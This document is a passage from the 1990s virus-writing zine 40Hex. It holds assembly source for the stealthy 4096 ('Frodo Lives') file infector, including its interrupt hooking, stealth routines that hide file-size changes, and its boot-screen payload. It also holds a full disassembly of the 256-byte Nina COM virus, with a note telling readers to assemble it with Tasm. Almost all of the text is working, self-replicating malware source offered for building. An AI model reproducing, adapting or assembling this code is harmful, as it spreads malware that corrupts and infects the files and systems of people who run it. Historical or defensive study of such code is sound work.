; block continue_loadexecute: call getcurrentPSP push cs pop es mov di,offset handletable ; scan the handle table mov cx,14h ; for the current PSP's scanhandle_loadexecute: ; handles mov ax,cs:currentPSP repne scasw jnz loadexecute_checkEXE mov word ptr es:[di-2],0 ; clear entry in handle table inc byte ptr cs:handlesleft ; fix handlesleft counter jmp short scanhandle_loadexecute loadexecute_checkEXE: lds si,dword ptr cs:origcsip cmp si,1 ; Check if EXE infected jne loadexecute_checkCOM mov dx,word ptr ds:oldheader+16h ; get initial CS add dx,10h ; adjust for PSP mov ah,51h ; Get current PSP segment call callint21 add dx,bx ;adjust for start load segment mov word ptr cs:origcsip+2,dx push word ptr ds:oldheader+14h ; save old IP pop word ptr cs:origcsip add bx,10h ; adjust for the PSP add bx,word ptr ds:oldheader+0Eh ; add old SS mov cs:origss,bx push word ptr ds:oldheader+10h ; old SP pop word ptr cs:origsp jmp short perform_loadexecute loadexecute_checkCOM: mov ax,[si] ; Check if COM infected add ax,[si+2] add ax,[si+4] jz loadexecute_doCOM ; exit if already infected push cs ; otherwise check to see pop ds ; if it is suitable for mov dx,offset copyfilename ; infection call checkdsdxokinfect call setup_infection inc byte ptr cs:hideclustercountchange call infect_file ; infect the file dec byte ptr cs:hideclustercountchange perform_loadexecute: mov ah,51h ; Get current PSP segment call callint21 call saveregs call restoreBREAK call swapvirint21 call restoreregs mov ds,bx ; ds = current PSP segment mov es,bx ; es = current PSP segment push word ptr cs:int21flags ; restore stack parameters push word ptr cs:savesegment push word ptr cs:saveoffset pop word ptr ds:[0Ah] ; Set terminate address in PSP pop word ptr ds:[0Ch] ; to return address found on ; the stack ; (int 21h caller CS:IP) push ds lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP mov al,22h ; Set terminate address to it call setvect pop ds popf pop ax mov ss,cs:origss ; restore the stack mov sp,cs:origsp ; and jmp dword ptr cs:origcsip ; perform the execute loadexecute_doCOM: mov bx,[si+1] ; restore original COM file mov ax,word ptr ds:[bx+si-261h] mov [si],ax mov ax,word ptr ds:[bx+si-25Fh] mov [si+2],ax mov ax,word ptr ds:[bx+si-25Dh] mov [si+4],ax jmp short perform_loadexecute checkloadnoexecute: cmp al,1 je loadnoexecute jmp exitotherint21 loadnoexecute: or word ptr cs:int21flags,1; turn on trap flag mov word ptr cs:parmblock,bx; save pointer to parameter mov word ptr cs:parmblock+2,es ; block call _popall call callint21 ; chain to int 21h call _pushall les bx,dword ptr cs:parmblock ; restore pointer to ; parameter block lds si,dword ptr es:[bx+12h]; get cs:ip on execute return jc exit_loadnoexecute and byte ptr cs:int21flags,0FEh ; turn off trap flag cmp si,1 ; check for EXE infection je loadnoexecute_EXE_already_infected ; infected if initial IP = 1 mov ax,[si] ; check for COM infection add ax,[si+2] ; infected if checksum = 0 add ax,[si+4] jnz perform_the_execute mov bx,[si+1] ; get jmp location mov ax,ds:[bx+si-261h] ; restore original COM file mov [si],ax mov ax,ds:[bx+si-25Fh] mov [si+2],ax mov ax,ds:[bx+si-25Dh] mov [si+4],ax jmp short perform_the_execute loadnoexecute_EXE_already_infected: mov dx,word ptr ds:oldheader+16h ; get entry CS:IP call getcurrentPSP mov cx,cs:currentPSP add cx,10h ; adjust for PSP add dx,cx mov es:[bx+14h],dx ; alter the entry point CS mov ax,word ptr ds:oldheader+14h mov es:[bx+12h],ax mov ax,word ptr ds:oldheader+0Eh ; alter stack add ax,cx mov es:[bx+10h],ax mov ax,word ptr ds:oldheader+10h mov es:[bx+0Eh],ax perform_the_execute: call getcurrentPSP mov ds,cs:currentPSP mov ax,[bp+2] ; restore length as held in mov word ptr ds:oldheader+6,ax mov ax,[bp+4] ; the EXE header mov word ptr ds:oldheader+8,ax exit_loadnoexecute: jmp _popall_then_exitint21 getDOSversion: mov byte ptr cs:hide_size,0 mov ah,2Ah ; Get date call callint21 cmp dx,916h ; September 22? jb exitDOSversion ; leave if not call writebootblock ; this is broken exitDOSversion: jmp exitotherint21 infect_file: call replaceint13and24 call findnextparagraphboundary mov byte ptr ds:EXEflag,1 ; assume is an EXE file cmp word ptr ds:readbuffer,'ZM' ; check here for regular je clearlyisanEXE ; EXE header cmp word ptr ds:readbuffer,'MZ' ; check here for alternate je clearlyisanEXE ; EXE header dec byte ptr ds:EXEflag ; if neither, assume is a jz try_infect_com ; COM file clearlyisanEXE: mov ax,ds:lengthinpages ; get file size in pages shl cx,1 ; and convert it to mul cx ; bytes add ax,200h ; add 512 bytes cmp ax,si jb go_exit_infect_file mov ax,ds:minmemory ; make sure min and max memory or ax,ds:maxmemory ; are not both zero jz go_exit_infect_file mov ax,ds:filesizelow ; get filesize in dx:ax mov dx,ds:filesizehigh mov cx,200h ; convert to pages div cx or dx,dx ; filesize multiple of 512? jz filesizemultiple512 ; then don't increment # inc ax ; pages filesizemultiple512: mov ds:lengthinpages,ax ; put in new values for length mov ds:lengthMOD512,dx ; fields cmp word ptr ds:initialIP,1 ; check if already infected je exit_infect_file mov word ptr ds:initialIP,1 ; set new entry point mov ax,si ; calculate new entry point sub ax,ds:headersize ; segment mov ds:initialcs,ax ; put this in for cs add word ptr ds:lengthinpages,8 ; 4K more mov ds:initialSS,ax ; put entry segment in for SS mov word ptr ds:initialSP,1000h ; set stack @ 1000h call finish_infection go_exit_infect_file: jmp short exit_infect_file try_infect_com: cmp si,0F00h ; make sure file is under jae exit_infect_file ; F00h paragraphs or else ; it will be too large once it ; is infected mov ax,ds:readbuffer ; first save first 6 bytes mov word ptr ds:oldheader,ax add dx,ax mov ax,ds:readbuffer+2 mov word ptr ds:oldheader+2,ax add dx,ax mov ax,ds:readbuffer+4 mov word ptr ds:oldheader+4,ax add dx,ax ; exit if checksum = 0 jz exit_infect_file ; since then it is already ; infected mov cl,0E9h ; encode jmp instruction mov byte ptr ds:readbuffer,cl mov ax,10h ; find file size mul si add ax,offset entervirus-3 ; calculate offset of jmp mov word ptr ds:readbuffer+1,ax ; encode it mov ax,ds:readbuffer ; checksum it to 0 add ax,ds:readbuffer+2 neg ax mov ds:readbuffer+4,ax call finish_infection exit_infect_file: mov ah,3Eh ; Close file call callint21 call restoreint13and24 retn findnextparagraphboundary: push cs pop ds mov ax,5700h ; Get file time/date call callint21 mov ds:filetime,cx mov ds:filedate,dx mov ax,4200h ; Go to beginning of file xor cx,cx mov dx,cx call callint21 mov ah,3Fh ; Read first 1Ch bytes mov cl,1Ch mov dx,offset readbuffer call callint21 mov ax,4200h ; Go to beginning of file xor cx,cx mov dx,cx call callint21 mov ah,3Fh ; Read first 1Ch bytes mov cl,1Ch mov dx,offset oldheader call callint21 mov ax,4202h ; Go to end of file xor cx,cx mov dx,cx call callint21 mov ds:filesizelow,ax ; save filesize mov ds:filesizehigh,dx mov di,ax add ax,0Fh ; round to nearest paragraph adc dx,0 ; boundary and ax,0FFF0h sub di,ax ; di=# bytes to next paragraph mov cx,10h ; normalize filesize div cx ; to paragraphs mov si,ax ; si = result retn finish_infection: mov ax,4200h ; Go to beginning of file xor cx,cx mov dx,cx call callint21 mov ah,40h ; Write new header to file mov cl,1Ch mov dx,offset readbuffer call callint21 mov ax,10h ; convert paragraph boundary mul si ; to a byte value mov cx,dx mov dx,ax mov ax,4200h ; go to first paragraph call callint21 ; boundary at end of file xor dx,dx mov cx,1000h add cx,di mov ah,40h ; Concatenate virus to file call callint21 mov ax,5701h ; Restore file time/date mov cx,ds:filetime mov dx,ds:filedate test dh,80h ; check for infection bit jnz highbitset add dh,0C8h ; alter if not set yet highbitset: call callint21 cmp byte ptr ds:DOSversion,3; if not DOS 3+, then jb exit_finish_infection ; do not hide the alteration ; in cluster count cmp byte ptr ds:hideclustercountchange,0 je exit_finish_infection push bx mov dl,ds:filedrive mov ah,32h ; Get drive parameter block call callint21 ; for drive dl mov ax,cs:numfreeclusters mov [bx+1Eh],ax ; alter free cluster count pop bx exit_finish_infection: retn checkFCBokinfect: call saveregs mov di,dx add di,0Dh ; skip to extension push ds pop es jmp short performchecksum ; and check checksum for valid ; checksum checkdsdxokinfect: call saveregs push ds pop es mov di,dx mov cx,50h ; max filespec length xor ax,ax mov bl,0 ; default drive cmp byte ptr [di+1],':' ; Is there a drive spec? jne ondefaultdrive ; nope, skip it mov bl,[di] ; yup, get drive and bl,1Fh ; and convert to number ondefaultdrive: mov cs:filedrive,bl repne scasb ; find terminating 0 byte performchecksum: mov ax,[di-3] and ax,0DFDFh ; convert to uppercase add ah,al mov al,[di-4] and al,0DFh ; convert to uppercase add al,ah mov byte ptr cs:EXEflag,0 ; assume COM file cmp al,0DFh ; COM checksum? je COMchecksum inc byte ptr cs:EXEflag ; assume EXE file cmp al,0E2h ; EXE checksum? jne otherchecksum COMchecksum: call restoreregs clc ; mark no error retn otherchecksum: call restoreregs stc ; mark error retn getcurrentPSP: push bx mov ah,51h ; Get current PSP segment call callint21 mov cs:currentPSP,bx ; store it pop bx retn setup_infection: call replaceint13and24 push dx mov dl,cs:filedrive mov ah,36h ; Get disk free space call callint21 mul cx ; ax = bytes per cluster mul bx ; dx:ax = bytes free space mov bx,dx pop dx or bx,bx ; less than 65536 bytes free? jnz enough_free_space ; hopefully not cmp ax,4000h ; exit if less than 16384 jb exit_setup_infection ; bytes free enough_free_space: mov ax,4300h ; Get file attributes call callint21 jc exit_setup_infection ; exit on error mov di,cx ; di = attributes xor cx,cx mov ax,4301h ; Clear file attributes call callint21 cmp byte ptr cs:errorflag,0 ; check for errors jne exit_setup_infection mov ax,3D02h ; Open file read/write call callint21 jc exit_setup_infection ; exit on error mov bx,ax ; move handle to bx ; xchg bx,ax is superior mov cx,di mov ax,4301h ; Restore file attributes call callint21 push bx mov dl,cs:filedrive ; Get file's drive number mov ah,32h ; Get drive parameter block call callint21 ; for disk dl mov ax,[bx+1Eh] ; Get free cluster count mov cs:numfreeclusters,ax ; and save it pop bx ; return handle call restoreint13and24 retn exit_setup_infection: xor bx,bx dec bx ; return bx=-1 on error call restoreint13and24 retn checkforinfection: push cx push dx push ax mov ax,4400h ; Get device information call callint21 ; (set hide_size = 2) xor dl,80h test dl,80h ; Character device? If so, jz exit_checkforinfection ; exit; cannot be infected mov ax,5700h ; Otherwise get time/date call callint21 test dh,80h ; Check year bit for infection exit_checkforinfection: pop ax pop dx pop cx retn obtainfilesize: call saveregs mov ax,4201h ; Get current file position xor cx,cx xor dx,dx call callint21 mov cs:curfileposlow,ax mov cs:curfileposhigh,dx mov ax,4202h ; Go to end of file xor cx,cx xor dx,dx call callint21 mov cs:filesizelow,ax mov cs:filesizehigh,dx mov ax,4200h ; Return to file position mov dx,cs:curfileposlow mov cx,cs:curfileposhigh call callint21 call restoreregs retn getsetfiletimedate: or al,al ; Get time/date? jnz checkifsettimedate ; if not, see if Set time/date and word ptr cs:int21flags,0FFFEh ; turn off trap flag call _popall call callint21 jc gettimedate_error ; exit on error test dh,80h ; check year bit if infected jz gettimedate_notinfected sub dh,0C8h ; if so, hide change gettimedate_notinfected: jmp exitint21 gettimedate_error: or word ptr cs:int21flags,1; turn on trap flag jmp exitint21 checkifsettimedate: cmp al,1 ; Set time/date? jne exit_filetimedate_pointer and word ptr cs:int21flags,0FFFEh ; turn off trap flag test dh,80h ; Infection bit set? jz set_yearbitset sub dh,0C8h ; clear infection bit set_yearbitset: call checkforinfection jz set_datetime_nofinagle add dh,0C8h ; set infection flag set_datetime_nofinagle: call callint21 mov [bp-4],ax adc word ptr cs:int21flags,0; turn on/off trap flag jmp _popall_then_exitint21 ; depending on result handlemovefilepointer: cmp al,2 jne exit_filetimedate_pointer call checkforinfection jz exit_filetimedate_pointer sub word ptr [bp-0Ah],1000h ; hide file size sbb word ptr [bp-8],0 exit_filetimedate_pointer: jmp exitotherint21 handleread: and byte ptr cs:int21flags,0FEh ; clear trap flag call checkforinfection ; exit if it is not jz exit_filetimedate_pointer ; infected -- no need ; to do stealthy stuff mov cs:savelength,cx mov cs:savebuffer,dx mov word ptr cs:return_code,0 call obtainfilesize mov ax,cs:filesizelow ; store the file size mov dx,cs:filesizehigh sub ax,1000h ; get uninfected file size sbb dx,0 sub ax,cs:curfileposlow ; check if currently in sbb dx,cs:curfileposhigh ; virus code jns not_in_virus_body ; continue if not mov word ptr [bp-4],0 ; set return code = 0 jmp handleopenclose_exit not_in_virus_body: jnz not_reading_header cmp ax,cx ; reading from header? ja not_reading_header mov cs:savelength,ax ; # bytes into header not_reading_header: mov dx,cs:curfileposlow mov cx,cs:curfileposhigh or cx,cx ; if reading > 64K into file, jnz finish_reading ; then no problems cmp dx,1Ch ; if reading from header, then jbe reading_from_header ; do stealthy stuff finish_reading: mov dx,cs:savebuffer mov cx,cs:savelength mov ah,3Fh ; read file call callint21 add ax,cs:return_code ; ax = bytes read mov [bp-4],ax ; set return code properly jmp _popall_then_exitint21 reading_from_header: mov si,dx mov di,dx add di,cs:savelength cmp di,1Ch ; reading all of header? jb read_part_of_header ; nope, calculate how much xor di,di jmp short do_read_from_header read_part_of_header: sub di,1Ch neg di do_read_from_header: mov ax,dx mov cx,cs:filesizehigh ; calculate location in mov dx,cs:filesizelow ; the file of the virus add dx,0Fh ; storage area for the adc cx,0 ; original 1Ch bytes of and dx,0FFF0h ; the file sub dx,0FFCh sbb cx,0 add dx,ax adc cx,0 mov ax,4200h ; go to that location call callint21 mov cx,1Ch sub cx,di sub cx,si mov ah,3Fh ; read the original header mov dx,cs:savebuffer call callint21 add cs:savebuffer,ax sub cs:savelength,ax add cs:return_code,ax xor cx,cx ; go past the virus's header mov dx,1Ch mov ax,4200h call callint21 jmp finish_reading ; and continue the reading handlewrite: and byte ptr cs:int21flags,0FEh ; turn off trap flag call checkforinfection jnz continue_handlewrite jmp exit_filetimedate_pointer continue_handlewrite: mov cs:savelength,cx mov cs:savebuffer,dx mov word ptr cs:return_code,0 call obtainfilesize mov ax,cs:filesizelow mov dx,cs:filesizehigh sub ax,1000h ; calculate original file sbb dx,0 ; size sub ax,cs:curfileposlow ; writing from inside the sbb dx,cs:curfileposhigh ; virus? js finish_write ; if not, we can continue jmp short write_inside_virus; otherwise, fixup some stuff finish_write: call replaceint13and24 push cs pop ds mov dx,ds:filesizelow ; calculate location in file mov cx,ds:filesizehigh ; of the virus storage of the add dx,0Fh ; original 1Ch bytes of the adc cx,0 ; file and dx,0FFF0h sub dx,0FFCh sbb cx,0 mov ax,4200h call callint21 mov dx,offset oldheader mov cx,1Ch mov ah,3Fh ; read original header call callint21 mov ax,4200h ; go to beginning of file xor cx,cx mov dx,cx call callint21 mov dx,offset oldheader mov cx,1Ch mov ah,40h ; write original header to call callint21 ; the file mov dx,0F000h ; go back 4096 bytes mov cx,0FFFFh ; from the end of the mov ax,4202h ; file and call callint21 mov ah,40h ; truncate the file xor cx,cx ; at that position call callint21 mov dx,ds:curfileposlow ; Go to current file position mov cx,ds:curfileposhigh mov ax,4200h call callint21 mov ax,5700h ; Get file time/date call callint21 test dh,80h jz high_bit_aint_set sub dh,0C8h ; restore file date mov ax,5701h ; put it onto the disk call callint21 high_bit_aint_set: call restoreint13and24 jmp exitotherint21 write_inside_virus: jnz write_inside_header ; write from start of file? cmp ax,cx ja write_inside_header ; write from inside header? jmp finish_write write_inside_header: mov dx,cs:curfileposlow mov cx,cs:curfileposhigh or cx,cx ; Reading over 64K? jnz writemorethan1Chbytes cmp dx,1Ch ; Reading over 1Ch bytes? ja writemorethan1Chbytes jmp finish_write writemorethan1Chbytes: call _popall call callint21 ; chain to int 21h ; (allow write to take place) call _pushall mov ax,5700h ; Get file time/date call callint21 test dh,80h jnz _popall_then_exitint21_ add dh,0C8h mov ax,5701h ; restore file date call callint21 _popall_then_exitint21_: jmp _popall_then_exitint21 jmp exitotherint21 int13: pop word ptr cs:int13tempCSIP ; get calling CS:IP off pop word ptr cs:int13tempCSIP+2 ; the stack pop word ptr cs:int13flags and word ptr cs:int13flags,0FFFEh ; turn off trap flag cmp byte ptr cs:errorflag,0 ; any errors yet? jne exitint13error ; yes, already an error push word ptr cs:int13flags call dword ptr cs:origints jnc exitint13 inc byte ptr cs:errorflag ; mark error exitint13error: stc ; mark error exitint13: jmp dword ptr cs:int13tempCSIP ; return to caller int24: xor al,al ; ignore error mov byte ptr cs:errorflag,1 ; mark error iret replaceint13and24: mov byte ptr cs:errorflag,0 ; clear errors call saveregs push cs pop ds mov al,13h ; save int 13 handler call getint mov word ptr ds:origints,bx mov word ptr ds:origints+2,es mov word ptr ds:oldint13,bx mov word ptr ds:oldint13+2,es mov dl,0 mov al,0Dh ; fixed disk interrupt call getint mov ax,es cmp ax,0C000h ; is there a hard disk? jae harddiskpresent ; C000+ is in BIOS mov dl,2 harddiskpresent: mov al,0Eh ; floppy disk interrupt call getint mov ax,es cmp ax,0C000h ; check if floppy jae floppypresent mov dl,2 floppypresent: mov ds:tracemode,dl call replaceint1 mov ds:savess,ss ; save stack mov ds:savesp,sp push cs ; save these on stack for mov ax,offset setvirusints ; return to setvirusints push ax mov ax,70h mov es,ax mov cx,0FFFFh mov al,0CBh ; retf xor di,di repne scasb ;scan es:di for retf statement dec di ; es:di->retf statement pushf push es ; set up stack for iret to push di ; the retf statement which ; will cause transfer of ; control to setvirusints pushf pop ax or ah,1 ; turn on the trap flag push ax in al,21h ; save IMR in temporary mov ds:saveIMR,al ; buffer and then mov al,0FFh ; disable all the out 21h,al ; interrupts popf xor ax,ax ; reset disk jmp dword ptr ds:origints ; (int 13h call) ; then transfer control to setvirusints: ; setvirusints lds dx,dword ptr ds:oldint1 mov al,1 ; restore old int 1 handler call setvect push cs pop ds mov dx,offset int13 ; replace old int 13h handler mov al,13h ; with virus's call setvect mov al,24h ; Get old critical error call getint ; handler and save its mov word ptr ds:oldint24,bx ; location mov word ptr ds:oldint24+2,es mov dx,offset int24 mov al,24h ; Replace int 24 handler call setvect ; with virus's handler call restoreregs retn restoreint13and24: call saveregs lds dx,dword ptr cs:oldint13 mov al,13h call setvect lds dx,dword ptr cs:oldint24 mov al,24h call setvect call restoreregs retn disableBREAK: mov ax,3300h ; Get current BREAK setting call callint21 mov cs:BREAKsave,dl mov ax,3301h ; Turn BREAK off xor dl,dl call callint21 retn restoreBREAK: mov dl,cs:BREAKsave mov ax,3301h ; restore BREAK setting call callint21 retn _pushall: pop word ptr cs:pushpopalltempstore pushf push ax push bx push cx push dx push si push di push ds push es jmp word ptr cs:pushpopalltempstore swapvirint21: les di,dword ptr cs:oldint21; delve into original int mov si,offset jmpfarptr ; handler and swap the first push cs ; 5 bytes. This toggles it pop ds ; between a jmp to the virus cld ; code and the original 5 mov cx,5 ; bytes of the int handler swapvirint21loop: ; this is a tunnelling method lodsb ; if I ever saw one xchg al,es:[di] ; puts the bytes in DOS's mov [si-1],al ; int 21h handler inc di loop swapvirint21loop retn _popall: pop word ptr cs:pushpopalltempstore pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp word ptr cs:pushpopalltempstore restoreregs: mov word ptr cs:storecall,offset _popall jmp short do_saverestoreregs saveregs: mov word ptr cs:storecall,offset _pushall do_saverestoreregs: mov cs:storess,ss ; save stack mov cs:storesp,sp push cs pop ss mov sp,cs:stackptr ; set new stack call word ptr cs:storecall mov cs:stackptr,sp ; update internal stack ptr mov ss,cs:storess ; and restore stack to mov sp,cs:storesp ; caller program's stack retn replaceint1: mov al,1 ; get the old interrupt call getint ; 1 handler and save it mov word ptr cs:oldint1,bx ; for later restoration mov word ptr cs:oldint1+2,es push cs pop ds mov dx,offset int1 ; set int 1 handler to call setvect ; the virus int handler retn allocatememory: call allocate_memory jmp exitotherint21 allocate_memory: cmp byte ptr cs:checkres,0 ; installed check je exitallocate_memory ; exit if installed cmp bx,0FFFFh ; finding total memory? jne exitallocate_memory ; (virus trying to install?) mov bx,160h ; allocate memory to virus call callint21 jc exitallocate_memory ; exit on error mov dx,cs cmp ax,dx jb continue_allocate_memory mov es,ax mov ah,49h ; Free memory call callint21 jmp short exitallocate_memory continue_allocate_memory: dec dx ; get segment of MCB mov ds,dx mov word ptr ds:[1],0 ; mark unused MCB inc dx ; go to memory area mov ds,dx mov es,ax push ax mov word ptr cs:int21store+2,ax ; fixup segment xor si,si mov di,si mov cx,0B00h rep movsw ; copy virus up there dec ax ; go to MCB mov es,ax mov ax,cs:ownerfirstMCB ; get DOS PSP ID mov es:[1],ax ; make vir ID = DOS PSP ID mov ax,offset exitallocate_memory push ax retf exitallocate_memory: retn get_device_info: mov byte ptr cs:hide_size,2 jmp exitotherint21 callint21: ; call original int 21h handler (tunnelled) pushf call dword ptr cs:oldint21 retn bootblock: cli xor ax,ax ; set new stack just below mov ss,ax ; start of load area for mov sp,7C00h ; boot block jmp short enter_bootblock borderchars db 'ÛÛÛ ' FRODO_LIVES: ; bitmapped 'FRODO LIVES!' db 11111001b,11100000b,11100011b,11000011b,10000000b db 10000001b,00010001b,00010010b,00100100b,01000000b db 10000001b,00010001b,00010010b,00100100b,01000000b db 11110001b,11110001b,00010010b,00100100b,01000000b db 10000001b,00100001b,00010010b,00100100b,01000000b db 10000001b,00010000b,11100011b,11000011b,10000000b db 00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b db 10000010b,01000100b,11111000b,01110000b,11000000b db 10000010b,01000100b,10000000b,10001000b,11000000b db 10000010b,01000100b,10000000b,10000000b,11000000b db 10000010b,01000100b,11110000b,01110000b,11000000b db 10000010b,00101000b,10000000b,00001000b,11000000b db 10000010b,00101000b,10000000b,10001000b,00000000b db 11110010b,00010000b,11111000b,01110000b,11000000b enter_bootblock: push cs pop ds mov dx,0B000h ; get video page in bh mov ah,0Fh ; get video mode in al int 10h ; get columns in ah cmp al,7 ; check if colour je monochrome mov dx,0B800h ; colour segment monochrome: mov es,dx ; es->video segment cld xor di,di mov cx,25*80 ; entire screen mov ax,720h ; ' ', normal attribute rep stosw ; clear the screen mov si,7C00h+FRODO_LIVES-bootblock mov bx,2AEh morelinestodisplay: mov bp,5 mov di,bx displaymorebackgroundontheline: lodsb ; get background pattern mov dh,al mov cx,8 displayinitialbackground: mov ax,720h shl dx,1 jnc spacechar mov al,'Û' spacechar: stosw loop displayinitialbackground dec bp jnz displaymorebackgroundontheline add bx,80*2 ; go to next line cmp si,7C00h+enter_bootblock-bootblock jb morelinestodisplay mov ah,1 ; set cursor mode to cx int 10h mov al,8 ; set new int 8 handler mov dx,7C00h+int8-bootblock ; to spin border call setvect mov ax,7FEh ; enable timer interrupts only out 21h,al sti xor bx,bx mov cx,1 jmp short $ ; loop forever while ; spinning the border int8: ; the timer interrupt spins dec cx ; the border jnz endint8 xor di,di inc bx call spin_border call spin_border mov cl,4 ; wait 4 more ticks until endint8: ; next update mov al,20h ; Signal end of interrupt out 20h,al iret spin_border: mov cx,28h ; do 40 characters across dohorizontal: call lookup_border_char stosw stosw loop dohorizontal patch2: add di,9Eh ; go to next line mov cx,17h ; do for next 23 lines dovertical: ; handle vertical borders call lookup_border_char ; get border character stosw ; print it on screen patch3: add di,9Eh ; go to next line loop dovertical patch1: std ; this code handles the other half of the border xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld xor byte ptr ds:[7C00h+patch2-bootblock+1],28h xor byte ptr ds:[7C00h+patch3-bootblock+1],28h retn lookup_border_char: and bx,3 ; find corresponding border mov al,ds:[bx+7C00h+borderchars-bootblock] inc bx ; character retn setvect: push es push bx xor bx,bx mov es,bx mov bl,al ; int # to bx shl bx,1 ; int # * 4 = offset in shl bx,1 ; interrupt table mov es:[bx],dx ; set the vector in the mov es:[bx+2],ds ; interrupt table pop bx pop es retn writebootblock: ; this is an unfinished subroutine; it doesn't work properly call replaceint13and24 mov dl,80h db 0E8h, 08h, 00h, 32h,0D2h,0E8h db 03h, 01h, 00h, 9Ah, 0Eh, 32h db 08h, 70h, 00h, 33h, 0Eh, 2Eh db 03h, 6Ch, 15h, 03h, 00h, 26h db 00h, 00h, 00h, 21h, 00h, 50h db 12h, 65h, 14h, 82h, 08h, 00h db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch db 15h,0E2h, 0Ch, 1Eh, 93h, 00h db 00h,0E2h, 0Ch, 50h org 1200h readbuffer dw ? ; beginning of the read buffer lengthMOD512 dw ? ; EXE header item - length of image modulo 512 lengthinpages dw ? ; EXE header item - length of image in pages relocationitems dw ? ; EXE header item - # relocation items headersize dw ? ; EXE header item - header size in paragraphs minmemory dw ? ; EXE header item - minimum memory allocation maxmemory dw ? ; EXE header item - maximum memory allocation initialSS dw ? ; EXE header item - initial SS value initialSP dw ? ; EXE header item - initial SP value wordchecksum dw ? ; EXE header item - checksum value initialIP dw ? ; EXE header item - initial IP value initialCS dw ? ; EXE header item - initial CS value db 12 dup (?) ; rest of header - unused parmblock dd ? ; address of parameter block filedrive db ? ; 0 = default drive filetime dw ? ; saved file time filedate dw ? ; saved file date origints dd ? ; temporary scratch buffer for interrupt vectors oldint1 dd ? ; original interrupt 1 vector oldint21 dd ? ; original interrupt 21h vector oldint13 dd ? ; original interrupt 13h vector oldint24 dd ? ; original interrupt 24h vector int13tempCSIP dd ? ; stores calling CS:IP of int 13h carrierPSP dw ? ; carrier file PSP segment DOSsegment dw ? ; segment of DOS list of lists ownerfirstMCB dw ? ; owner of the first MCB jmpfarptr db ? ; 0eah, jmp far ptr int21store dd ? ; temporary storage for other 4 bytes ; and for pointer to virus int 21h tracemode db ? ; trace mode instructionstotrace db ? ; number of instructions to trace handletable dw 28h dup (?) ; array of handles handlesleft db ? ; entries left in table currentPSP dw ? ; storage for the current PSP segment curfileposlow dw ? ; current file pointer location, low word curfileposhigh dw ? ; current file pointer location, high word filesizelow dw ? ; current file size, low word filesizehigh dw ? ; current file size, high word savebuffer dw ? ; storage for handle read, etc. savelength dw ? ; functions return_code dw ? ; returned in AX on exit of int 21h int21flags dw ? ; storage of int 21h return flags register tempFCB db 25h dup (?) ; copy of the FCB errorflag db ? ; 0 if no error, 1 if error int13flags dw ? ; storage of int 13h return flags register savess dw ? ; temporary storage of stack segment savesp dw ? ; and stack pointer BREAKsave db ? ; current BREAK state checkres db ? ; already installed flag initialax dw ? ; AX upon entry to carrier saveIMR db ? ; storage for interrupt mask register saveoffset dw ? ; temp storage of CS:IP of savesegment dw ? ; caller to int 21h pushpopalltempstore dw ? ; push/popall caller address numfreeclusters dw ? ; total free clusters DOSversion db ? ; current DOS version hideclustercountchange db ? ; flag of whether to hide free cluster count hide_size db ? ; hide filesize increase if equal to 0 copyparmblock db 0eh dup (?) ; copy of the parameter block origsp dw ? ; temporary storage of stack pointer origss dw ? ; and stack segment origcsip dd ? ; temporary storage of caller CS:IP copyfilename db 50h dup (?) ; copy of filename storesp dw ? ; temporary storage of stack pointer storess dw ? ; and stack segment stackptr dw ? ; register storage stack pointer storecall dw ? ; temporary storage of function offset topstack = 1600h _4096 ends end 40Hex Number 9 Volume 2 Issue 5 File 006 Below is the Nina virus. It's a 256 byte generic COM infector supposedly originating in Bulgaria. Although some minor portions are not as highly optimised as they could be, the code is well-written. Items of note include the infection method, which is somewhat reminiscent of Jerusalem, the installation check handler in int 21h, and the residency routine. As always, use Tasm to assemble. Dark Angel .model tiny .code org 100h ; Disassembly done by Dark Angel of Phalcon/Skism ; for 40Hex Number 9, Volume 2 Issue 5 start: push ax mov ax,9753h ; installation check int 21h mov ax,ds dec ax mov ds,ax ; ds->program MCB mov ax,ds:[3] ; get size word push bx push es sub ax,40h ; reserve 40h paragraphs mov bx,ax mov ah,4Ah ; Shrink memory allocation int 21h mov ah,48h ; Allocate 3Fh paragraphs mov bx,3Fh ; for the virus int 21h mov es,ax ; copy virus to high xor di,di ; memory mov si,offset start + 10h ; start at MCB:110h mov cx,100h ; (same as PSP:100h) rep movsb sub ax,10h ; adjust offset as if it push ax ; originated at 100h mov ax,offset highentry push ax retf endfile dw 100h ; size of infected COM file highentry: mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the ; memory isn't freed when the ; program terminates mov ax,3521h ; get int 21h vector int 21h mov word ptr cs:oldint21,bx ; save it mov word ptr cs:oldint21+2,es push es pop ds mov dx,bx mov ax,2591h ; redirect int 91h to int 21h int 21h push cs pop ds mov dx,offset int21 mov al,21h ; set int 21h to virus vector int 21h pop ds ; ds->original program PSP pop bx push ds pop es return_COM: mov di,100h ; restore original mov si,endfile ; file add si,di ; adjust for COM starting mov cx,100h ; offset rep movsb pop ax push ds ; jmp back to original mov bp,100h ; file (PSP:100) push bp retf exit_install: pop ax ; pop CS:IP and flags in pop ax ; order to balance the pop ax ; stack and then exit the jmp short return_COM ; infected COM file int21: cmp ax,9753h ; installation check? je exit_install cmp ax,4B00h ; execute? jne exitint21 ; nope, quit push ax ; save registers push bx push cx push dx push ds call infect pop ds ; restore registers pop dx pop cx pop bx pop ax exitint21: db 0eah ; jmp far ptr oldint21 dd ? infect: mov ax,3D02h ; open file read/write int 91h jc exit_infect mov bx,ax mov cx,100h push cs pop ds mov ah,3Fh ; Read first 100h bytes mov dx,offset endvirus int 91h mov ax,word ptr endvirus cmp ax,'MZ' ; exit if EXE je close_exit_infect cmp ax,'ZM' ; exit if EXE je close_exit_infect cmp word ptr endvirus+2,9753h ; exit if already je close_exit_infect ; infected mov al,2 ; go to end of file call move_file_pointer cmp ax,0FEB0h ; exit if too large ja close_exit_infect cmp ax,1F4h ; or too small for jb close_exit_infect ; infection mov endfile,ax ; save file size call write mov al,0 ; go to start of file call move_file_pointer mov dx,100h ; write virus call write close_exit_infect: mov ah,3Eh ; Close file int 91h exit_infect: retn move_file_pointer: push dx xor cx,cx xor dx,dx mov ah,42h int 91h pop dx retn write: mov ah,40h mov cx,100h int 91h retn db ' Nina ' endvirus: int 20h ; original COM file end start 40Hex Number 9 Volume 2 Issue 5 File 007 